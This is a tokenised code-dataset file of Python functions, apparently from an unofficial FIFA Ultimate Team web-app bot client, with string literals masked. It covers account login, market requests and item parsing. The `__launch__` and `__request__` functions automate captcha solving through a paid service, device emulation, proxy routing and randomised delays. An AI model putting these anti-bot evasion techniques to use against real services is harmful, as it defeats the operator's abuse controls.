{"signature": "def itemParse(item_data, full=True):", "body": "<EOL>return_data = {<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT:id>': item_data.get('<STR_LIT>', {'<STR_LIT:id>': None})['<STR_LIT:id>'] or item_data.get('<STR_LIT>', {'<STR_LIT:id>': None})['<STR_LIT:id>'],<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),  <EOL>}<EOL>if full:<EOL><INDENT>if '<STR_LIT>' in item_data:<EOL><INDENT>return_data.update({<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),  <EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),<EOL>})<EOL><DEDENT>elif '<STR_LIT>' in item_data:  <EOL><INDENT>return_data.update({<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get(<EOL>'<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT>': item_data['<STR_LIT>'].get('<STR_LIT>'),<EOL>'<STR_LIT:count>': item_data.get('<STR_LIT:count>'),  <EOL>'<STR_LIT>': item_data.get('<STR_LIT>'),  <EOL>})<EOL><DEDENT><DEDENT>return return_data<EOL>", "docstring": "Parser for item data. Returns nice dictionary.\n\n    :params item_data: Item data received from ea servers.\n    :params full: (optional) False if you're sniping and don't need extended info. Anyone really use this?", "id": "f3437:m1"}
{"signature": "def nations(timeout=timeout):", "body": "rc = requests.get(messages_url, timeout=timeout)<EOL>rc.encoding = '<STR_LIT:utf-8>'  <EOL>rc = rc.text<EOL>data = re.findall('<STR_LIT>', rc)<EOL>nations = {}<EOL>for i in data:<EOL><INDENT>nations[int(i[<NUM_LIT:0>])] = i[<NUM_LIT:1>]<EOL><DEDENT>return nations<EOL>", "docstring": "Return all nations in dict {id0: nation0, id1: nation1}.\n\n    :params year: Year.", "id": "f3437:m2"}
{"signature": "def leagues(year=<NUM_LIT>, timeout=timeout):", "body": "rc = requests.get(messages_url, timeout=timeout)<EOL>rc.encoding = '<STR_LIT:utf-8>'  <EOL>rc = rc.text<EOL>data = re.findall('<STR_LIT>' % year, rc)<EOL>leagues = {}<EOL>for i in data:<EOL><INDENT>leagues[int(i[<NUM_LIT:0>])] = i[<NUM_LIT:1>]<EOL><DEDENT>return leagues<EOL>", "docstring": "Return all leagues in dict {id0: league0, id1: legaue1}.\n\n    :params year: Year.", "id": "f3437:m3"}
{"signature": "def teams(year=<NUM_LIT>, timeout=timeout):", "body": "rc = requests.get(messages_url, timeout=timeout)<EOL>rc.encoding = '<STR_LIT:utf-8>'  <EOL>rc = rc.text<EOL>data = re.findall('<STR_LIT>' % year, rc)<EOL>teams = {}<EOL>for i in data:<EOL><INDENT>teams[int(i[<NUM_LIT:0>])] = i[<NUM_LIT:1>]<EOL><DEDENT>return teams<EOL>", "docstring": "Return all teams in dict {id0: team0, id1: team1}.\n\n    :params year: Year.", "id": "f3437:m4"}
{"signature": "def stadiums(year=<NUM_LIT>, timeout=timeout):", "body": "rc = requests.get(messages_url, timeout=timeout)<EOL>rc.encoding = '<STR_LIT:utf-8>'  <EOL>rc = rc.text<EOL>data = re.findall('<STR_LIT>' % year, rc)<EOL>stadiums = {}<EOL>for i in data:<EOL><INDENT>stadiums[int(i[<NUM_LIT:0>])] = i[<NUM_LIT:1>]<EOL><DEDENT>return stadiums<EOL>", "docstring": "Return all stadium in dict {id0: stadium0, id1: stadium1}.\n\n    :params year: Year.", "id": "f3437:m5"}
{"signature": "def balls(timeout=timeout):", "body": "rc = requests.get(messages_url, timeout=timeout)<EOL>rc.encoding = '<STR_LIT:utf-8>'  <EOL>rc = rc.text<EOL>data = re.findall('<STR_LIT>', rc)<EOL>balls = {}<EOL>for i in data:<EOL><INDENT>balls[int(i[<NUM_LIT:0>])] = i[<NUM_LIT:1>]<EOL><DEDENT>return balls<EOL>", "docstring": "Return all balls in dict {id0: ball0, id1: ball1}.", "id": "f3437:m6"}
{"signature": "def players(timeout=timeout):", "body": "rc = requests.get('<STR_LIT>'.format(card_info_url, '<STR_LIT>'), timeout=timeout).json()<EOL>players = {}<EOL>for i in rc['<STR_LIT>'] + rc['<STR_LIT>']:<EOL><INDENT>players[i['<STR_LIT:id>']] = {'<STR_LIT:id>': i['<STR_LIT:id>'],<EOL>'<STR_LIT>': i['<STR_LIT:f>'],<EOL>'<STR_LIT>': i['<STR_LIT:l>'],<EOL>'<STR_LIT>': i.get('<STR_LIT:c>'),<EOL>'<STR_LIT>': i['<STR_LIT:r>']}<EOL><DEDENT>return players<EOL>", "docstring": "Return all players in dict {id: c, f, l, n, r}.\n    id, rank, nationality(?), first name, last name.", "id": "f3437:m7"}
{"signature": "def playstyles(year=<NUM_LIT>, timeout=timeout):", "body": "rc = requests.get(messages_url, timeout=timeout)<EOL>rc.encoding = '<STR_LIT:utf-8>'  <EOL>rc = rc.text<EOL>data = re.findall('<STR_LIT>' % year, rc)<EOL>playstyles = {}<EOL>for i in data:<EOL><INDENT>playstyles[int(i[<NUM_LIT:0>])] = i[<NUM_LIT:1>]<EOL><DEDENT>return playstyles<EOL>", "docstring": "Return all playstyles in dict {id0: playstyle0, id1: playstyle1}.\n\n    :params year: Year.", "id": "f3437:m8"}
{"signature": "def __login__(self, email, passwd, code=None, totp=None, sms=False):", "body": "params = {'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:null>',<EOL>'<STR_LIT>': client_id,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>self.r.headers['<STR_LIT>'] = '<STR_LIT>'<EOL>rc = self.r.get('<STR_LIT>', params=params, timeout=self.timeout)<EOL>if rc.url != '<STR_LIT>':  <EOL><INDENT>self.r.headers['<STR_LIT>'] = rc.url<EOL>data = {'<STR_LIT:email>': email,<EOL>'<STR_LIT:password>': passwd,<EOL>'<STR_LIT>': '<STR_LIT>',  <EOL>'<STR_LIT>': '<STR_LIT>',  <EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:false>',  <EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>rc = self.r.post(rc.url, data=data, timeout=self.timeout)<EOL>if \"<STR_LIT>\" in rc.text:<EOL><INDENT>failedReason = re.search('<STR_LIT>', rc.text).group(<NUM_LIT:1>)<EOL>raise FutError(reason=failedReason)<EOL><DEDENT>if '<STR_LIT>' in rc.text:<EOL><INDENT>rc = self.r.get(rc.url, params={'<STR_LIT>': '<STR_LIT:end>'})  <EOL><DEDENT>if '<STR_LIT>' in rc.text:  <EOL><INDENT>if totp:<EOL><INDENT>rc = self.r.post(rc.url, {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'})<EOL>code = pyotp.TOTP(totp).now()<EOL><DEDENT>elif sms:<EOL><INDENT>rc = self.r.post(rc.url, {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'})<EOL><DEDENT>else:  <EOL><INDENT>rc = self.r.post(rc.url, {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>if '<STR_LIT>' in rc.text:<EOL><INDENT>if not code:<EOL><INDENT>code = input('<STR_LIT>')<EOL><DEDENT>self.r.headers['<STR_LIT>'] = url = rc.url<EOL>rc = self.r.post(url.replace('<STR_LIT>', '<STR_LIT>'),<EOL>{'<STR_LIT>': code,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'}, timeout=self.timeout)<EOL>if '<STR_LIT>' in rc.text or '<STR_LIT>' in rc.text:<EOL><INDENT>raise FutError(reason='<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in rc.text:  <EOL><INDENT>rc = self.r.post(url.replace('<STR_LIT>', '<STR_LIT>'), {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'},<EOL>timeout=self.timeout)<EOL><DEDENT><DEDENT>rc = re.match(<EOL>'<STR_LIT>',<EOL>rc.url)<EOL>self.access_token = rc.group(<NUM_LIT:1>)<EOL>self.token_type = rc.group(<NUM_LIT:2>)<EOL>self.saveSession()<EOL><DEDENT>", "docstring": "Log in - needed only if we don't have access token or it's expired.", "id": "f3437:c0:m1"}
{"signature": "def __launch__(self, email, passwd, secret_answer, platform='<STR_LIT>', code=None, totp=None, sms=False, emulate=None,<EOL>proxies=None, anticaptcha_client_key=None):", "body": "<EOL>self.emulate = emulate<EOL>secret_answer_hash = EAHashingAlgorithm().EAHash(secret_answer)<EOL>self.r = requests.Session()  <EOL>if proxies is not None:<EOL><INDENT>self.r.proxies = proxies<EOL><DEDENT>if self.cookies_file:<EOL><INDENT>self.r.cookies = LWPCookieJar(self.cookies_file)<EOL>try:<EOL><INDENT>with open(self.token_file, '<STR_LIT:r>') as f:<EOL><INDENT>self.token_type, self.access_token = f.readline().replace('<STR_LIT:\\n>', '<STR_LIT>').replace('<STR_LIT:\\r>', '<STR_LIT>').split(<EOL>'<STR_LIT:U+0020>')  <EOL><DEDENT><DEDENT>except FileNotFoundError:<EOL><INDENT>self.__login__(email=email, passwd=passwd, code=code, totp=totp, sms=sms)<EOL><DEDENT>try:<EOL><INDENT>self.r.cookies.load(ignore_discard=True)  <EOL><DEDENT>except IOError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.__login__(email=email, passwd=passwd, code=code, totp=totp, sms=sms)<EOL><DEDENT>if emulate == '<STR_LIT>':<EOL><INDENT>raise FutError(<EOL>reason='<STR_LIT>')<EOL>self.r.headers = headers_and.copy()  <EOL><DEDENT>elif emulate == '<STR_LIT>':<EOL><INDENT>raise FutError(<EOL>reason='<STR_LIT>')<EOL>self.r.headers = headers_ios.copy()  <EOL><DEDENT>else:<EOL><INDENT>self.r.headers = headers.copy()  <EOL><DEDENT>pre_game_sku = '<STR_LIT>'  <EOL>if platform == '<STR_LIT>':  <EOL><INDENT>game_sku = '<STR_LIT>' % pre_game_sku<EOL><DEDENT>elif platform == '<STR_LIT>':<EOL><INDENT>game_sku = '<STR_LIT>' % pre_game_sku<EOL><DEDENT>elif platform == '<STR_LIT>':<EOL><INDENT>game_sku = '<STR_LIT>' % pre_game_sku<EOL><DEDENT>elif platform == '<STR_LIT>':<EOL><INDENT>game_sku = '<STR_LIT>' % pre_game_sku  <EOL><DEDENT>elif platform == '<STR_LIT>':<EOL><INDENT>game_sku = '<STR_LIT>' % pre_game_sku<EOL><DEDENT>else:<EOL><INDENT>raise FutError(reason='<STR_LIT>')<EOL><DEDENT>pre_sku = '<STR_LIT>'  <EOL>if emulate == '<STR_LIT>':<EOL><INDENT>sku = '<STR_LIT>' % pre_sku<EOL>clientVersion = <NUM_LIT><EOL><DEDENT>elif emulate == '<STR_LIT>':<EOL><INDENT>sku = '<STR_LIT>' % pre_sku<EOL>clientVersion = <NUM_LIT><EOL><DEDENT>elif not emulate:<EOL><INDENT>sku = '<STR_LIT>' % pre_sku<EOL>clientVersion = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise FutError(reason='<STR_LIT>')  <EOL><DEDENT>self.sku = sku  <EOL>self.sku_b = '<STR_LIT>'  <EOL>params = {'<STR_LIT>': self.access_token,<EOL>'<STR_LIT>': client_id,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>rc = self.r.get('<STR_LIT>', params=params)<EOL>rc = re.match(<EOL>'<STR_LIT>',<EOL>rc.url)<EOL>if not rc:<EOL><INDENT>raise FutError('<STR_LIT>')<EOL><DEDENT>self.access_token = rc.group(<NUM_LIT:1>)<EOL>self.token_type = rc.group(<NUM_LIT:2>)<EOL>rc = self.r.get('<STR_LIT>', timeout=self.timeout).text<EOL>self.r.headers['<STR_LIT>'] = '<STR_LIT>'<EOL>self.r.headers['<STR_LIT>'] = '<STR_LIT:application/json>'<EOL>self.r.headers['<STR_LIT>'] = '<STR_LIT>' % (self.token_type, self.access_token)<EOL>rc = self.r.get('<STR_LIT>').json()  <EOL>if rc.get('<STR_LIT:error>') == '<STR_LIT>':<EOL><INDENT>print('<STR_LIT>')<EOL>self.__login__(email=email, passwd=passwd, totp=totp, sms=sms)<EOL>return self.__launch__(email=email, passwd=passwd, secret_answer=secret_answer, platform=platform,<EOL>code=code, totp=totp, sms=sms, emulate=emulate, proxies=proxies,<EOL>anticaptcha_client_key=anticaptcha_client_key)<EOL><DEDENT>self.nucleus_id = rc['<STR_LIT>']['<STR_LIT>']  <EOL>self.dob = rc['<STR_LIT>']['<STR_LIT>']<EOL>del self.r.headers['<STR_LIT>']<EOL>self.r.headers['<STR_LIT>'] = self.nucleus_id<EOL>rc = self.r.get('<STR_LIT>' % auth_url).json()<EOL>self.fut_host = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>self.fut_host = self.fut_host[platform]<EOL>data = {'<STR_LIT>': '<STR_LIT:true>',<EOL>'<STR_LIT>': self.sku,<EOL>'<STR_LIT>': '<STR_LIT>'}  <EOL>rc = self.r.get('<STR_LIT>' % (self.fut_host, self.gameUrl), params=data).json()<EOL>personas = rc['<STR_LIT>']['<STR_LIT>']<EOL>for p in personas:<EOL><INDENT>for c in p['<STR_LIT>']:<EOL><INDENT>if c['<STR_LIT>'] and game_sku in c['<STR_LIT>']:<EOL><INDENT>self.persona_id = p['<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>raise FutError(reason='<STR_LIT>')<EOL><DEDENT>del self.r.headers['<STR_LIT>']<EOL>self.r.headers['<STR_LIT>'] = '<STR_LIT>'<EOL>params = {'<STR_LIT>': '<STR_LIT>',  <EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:code>',<EOL>'<STR_LIT>': self.access_token,<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>rc = self.r.get('<STR_LIT>', params=params).json()<EOL>auth_code = rc['<STR_LIT:code>']<EOL>self.r.headers['<STR_LIT:Content-Type>'] = '<STR_LIT:application/json>'<EOL>data = {'<STR_LIT>': '<STR_LIT:false>',<EOL>'<STR_LIT>': self.sku,<EOL>'<STR_LIT>': clientVersion,<EOL>'<STR_LIT>': self.persona_id,<EOL>'<STR_LIT>': game_sku,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:4>,<EOL>'<STR_LIT>': {'<STR_LIT>': auth_code,<EOL>'<STR_LIT>': '<STR_LIT>'}}<EOL>rc = self.r.post('<STR_LIT>' % self.fut_host, data=json.dumps(data),<EOL>timeout=self.timeout)<EOL>if rc.status_code == <NUM_LIT>:  <EOL><INDENT>raise FutError('<STR_LIT>')<EOL><DEDENT>if rc.status_code == <NUM_LIT>:<EOL><INDENT>raise InternalServerError('<STR_LIT>')<EOL><DEDENT>rc = rc.json()<EOL>if rc.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>raise MultipleSession<EOL><DEDENT>elif rc.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>raise MaxSessions<EOL><DEDENT>elif rc.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>raise DoLoginFail<EOL><DEDENT>elif rc.get('<STR_LIT>'):<EOL><INDENT>raise UnknownError(rc.__str__())<EOL><DEDENT>self.r.headers['<STR_LIT>'] = self.sid = rc['<STR_LIT>']<EOL>self.r.headers['<STR_LIT>'] = self.nucleus_id<EOL>rc = self.r.get('<STR_LIT>' % (self.fut_host, self.gameUrl),<EOL>timeout=self.timeout).json()<EOL>if rc.get('<STR_LIT:code>') == '<STR_LIT>':<EOL><INDENT>if anticaptcha_client_key:<EOL><INDENT>if not proxies:<EOL><INDENT>raise FutError('<STR_LIT>')<EOL><DEDENT>self.logger.debug('<STR_LIT>')<EOL>anticaptcha = AnticaptchaClient(anticaptcha_client_key)<EOL>attempt = <NUM_LIT:0><EOL>while True:<EOL><INDENT>attempt += <NUM_LIT:1><EOL>if attempt > <NUM_LIT:10>:<EOL><INDENT>raise FutError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>self.logger.debug('<STR_LIT>'.format(attempt))<EOL>task = FunCaptchaTask(<EOL>'<STR_LIT>',<EOL>fun_captcha_public_key,<EOL>proxy=Proxy.parse_url(proxies.get('<STR_LIT:http>') or proxies.get('<STR_LIT>')),<EOL>user_agent=self.r.headers['<STR_LIT>']<EOL>)<EOL>job = anticaptcha.createTask(task)<EOL>job.join()<EOL>fun_captcha_token = job.get_token_response()<EOL>self.logger.debug('<STR_LIT>'.format(fun_captcha_token))<EOL>self.__request__('<STR_LIT:POST>', '<STR_LIT>', data=json.dumps({<EOL>'<STR_LIT>': fun_captcha_token,<EOL>}))<EOL>rc = self.r.get('<STR_LIT>' % (self.fut_host, self.gameUrl), timeout=self.timeout).json()<EOL>break<EOL><DEDENT>except AnticaptchaException as e:<EOL><INDENT>if e.error_code in ['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>self.logger.exception('<STR_LIT>' + e.error_code)<EOL>time.sleep(<NUM_LIT:10>)<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise Captcha(code=rc.get('<STR_LIT:code>'), string=rc.get('<STR_LIT:string>'), reason=rc.get('<STR_LIT>'))<EOL><DEDENT><DEDENT>if rc['<STR_LIT:string>'] != '<STR_LIT>' and rc['<STR_LIT:string>'] != '<STR_LIT>':<EOL><INDENT>params = {'<STR_LIT>': secret_answer_hash}<EOL>rc = self.r.post('<STR_LIT>' % (self.fut_host, self.gameUrl), params=params,<EOL>timeout=self.timeout).json()<EOL>if rc['<STR_LIT:string>'] == '<STR_LIT>':<EOL><INDENT>print(rc['<STR_LIT:string>'])<EOL>raise FutError('<STR_LIT>')<EOL><DEDENT>elif rc['<STR_LIT:string>'] != '<STR_LIT:OK>':  <EOL><INDENT>print(rc['<STR_LIT>'])<EOL>raise FutError(reason='<STR_LIT>' % (rc['<STR_LIT>']))<EOL><DEDENT>self.r.headers['<STR_LIT>'] = self.token = rc['<STR_LIT>']<EOL>rc = self.r.get('<STR_LIT>' % (self.fut_host, self.gameUrl), timeout=self.timeout).json()<EOL>self.r.headers['<STR_LIT>'] = self.token = rc['<STR_LIT>']<EOL><DEDENT>self.pin = Pin(sid=self.sid, nucleus_id=self.nucleus_id, persona_id=self.persona_id, dob=self.dob[:-<NUM_LIT:3>],<EOL>platform=platform)<EOL>events = [self.pin.event('<STR_LIT>', status='<STR_LIT:success>')]<EOL>self.pin.send(events)<EOL>self._usermassinfo = self.r.get('<STR_LIT>' % (self.fut_host, self.gameUrl), timeout=self.timeout).json()<EOL>if self._usermassinfo['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] == <NUM_LIT:0>:<EOL><INDENT>raise FutError(reason='<STR_LIT>')  <EOL><DEDENT>self.base_time = int(time.time() * <NUM_LIT:1000>)<EOL>self._ = self.base_time<EOL>self.r.get('<STR_LIT>' % (self.fut_host, self.gameUrl), params={'<STR_LIT:_>': self._}, timeout=self.timeout)<EOL>piles = self.pileSize()<EOL>self.tradepile_size = piles['<STR_LIT>']<EOL>self.watchlist_size = piles['<STR_LIT>']<EOL>self.saveSession()<EOL>events = [self.pin.event('<STR_LIT>', '<STR_LIT>')]<EOL>self.pin.send(events)<EOL>self.keepalive()<EOL>", "docstring": "Launch futweb\n\n        :params email: Email.\n        :params passwd: Password.\n        :params secret_answer: Answer for secret question.\n        :params platform: (optional) [pc/xbox/xbox360/ps3/ps4] Platform.\n        :params code: (optional) Security code generated in origin or sent via mail/sms.\n        :params emulate: (optional) [and/ios] Emulate mobile device.\n        :params proxies: (optional) [dict] http/socks proxies in requests's format. http://docs.python-requests.org/en/master/user/advanced/#proxies", "id": "f3437:c0:m2"}
{"signature": "def __request__(self, method, url, data=None, params=None, fast=False):", "body": "<EOL>self.n += <NUM_LIT:1><EOL>if self.stats:<EOL><INDENT>self.stats.save_requests(write_file=not fast)<EOL><DEDENT>data = data or {}<EOL>params = params or {}<EOL>url = '<STR_LIT>' % (self.fut_host, self.gameUrl, url)<EOL>self.logger.debug(\"<STR_LIT>\".format(url, data, params))<EOL>if not fast:  <EOL><INDENT>time.sleep(max(self.request_time - time.time() + random.randrange(self.delay[<NUM_LIT:0>], self.delay[<NUM_LIT:1>] + <NUM_LIT:1>), <NUM_LIT:0>))<EOL>self.r.options(url, params=params)<EOL><DEDENT>else:<EOL><INDENT>time.sleep(max(self.request_time - time.time() + <NUM_LIT>, <NUM_LIT:0>))  <EOL><DEDENT>self.request_time = time.time()  <EOL>try:<EOL><INDENT>if method.upper() == '<STR_LIT:GET>':<EOL><INDENT>rc = self.r.get(url, data=data, params=params, timeout=self.timeout)<EOL><DEDENT>elif method.upper() == '<STR_LIT:POST>':<EOL><INDENT>rc = self.r.post(url, data=data, params=params, timeout=self.timeout)<EOL><DEDENT>elif method.upper() == '<STR_LIT>':<EOL><INDENT>rc = self.r.put(url, data=data, params=params, timeout=self.timeout)<EOL><DEDENT>elif method.upper() == '<STR_LIT>':<EOL><INDENT>rc = self.r.delete(url, data=data, params=params, timeout=self.timeout)<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>raise Timeout(e)<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\".format(rc.content))<EOL>if not rc.ok:  <EOL><INDENT>if rc.status_code == <NUM_LIT>:<EOL><INDENT>print(rc.content)<EOL>raise ExpiredSession()<EOL><DEDENT>elif rc.status_code == <NUM_LIT>:<EOL><INDENT>raise Conflict()<EOL><DEDENT>elif rc.status_code == <NUM_LIT>:<EOL><INDENT>raise FutError('<STR_LIT>')<EOL><DEDENT>elif rc.status_code == <NUM_LIT>:<EOL><INDENT>raise FutError('<STR_LIT>')<EOL><DEDENT>elif rc.status_code == <NUM_LIT>:<EOL><INDENT>print(rc.headers)<EOL>print(rc.status_code)<EOL>print(rc.cookies)<EOL>print(rc.content)<EOL>if url != '<STR_LIT>' % self.fut_host:<EOL><INDENT>events = [self.pin.event('<STR_LIT:error>')]<EOL>self.pin.send(events)<EOL>self.logout()<EOL>raise Captcha()<EOL><DEDENT><DEDENT>elif rc.status_code == <NUM_LIT>:<EOL><INDENT>raise PermissionDenied(<NUM_LIT>)<EOL><DEDENT>elif rc.status_code == <NUM_LIT>:<EOL><INDENT>raise PermissionDenied(<NUM_LIT>)  <EOL><DEDENT>elif rc.status_code == <NUM_LIT>:<EOL><INDENT>raise MarketLocked()<EOL><DEDENT>elif rc.status_code in (<NUM_LIT>, <NUM_LIT>):<EOL><INDENT>raise FutError('<STR_LIT>')<EOL><DEDENT>elif rc.status_code == <NUM_LIT>:<EOL><INDENT>raise NoTradeExistingError()<EOL><DEDENT>print(rc.url)<EOL>print(data)<EOL>print(params)<EOL>print(rc.headers)<EOL>print(rc.status_code)<EOL>print(rc.cookies)<EOL>print(rc.content)<EOL>raise UnknownError(rc.content)<EOL><DEDENT>if rc.text == '<STR_LIT>':<EOL><INDENT>rc = {}<EOL><DEDENT>else:<EOL><INDENT>rc = rc.json()<EOL>if '<STR_LIT>' in rc and rc['<STR_LIT>']:<EOL><INDENT>self.credits = rc['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in rc:<EOL><INDENT>self.duplicates = [i['<STR_LIT>'] for i in rc['<STR_LIT>']]<EOL><DEDENT><DEDENT>self.saveSession()<EOL>return rc<EOL>", "docstring": "Prepare headers and sends request. Returns response as a json 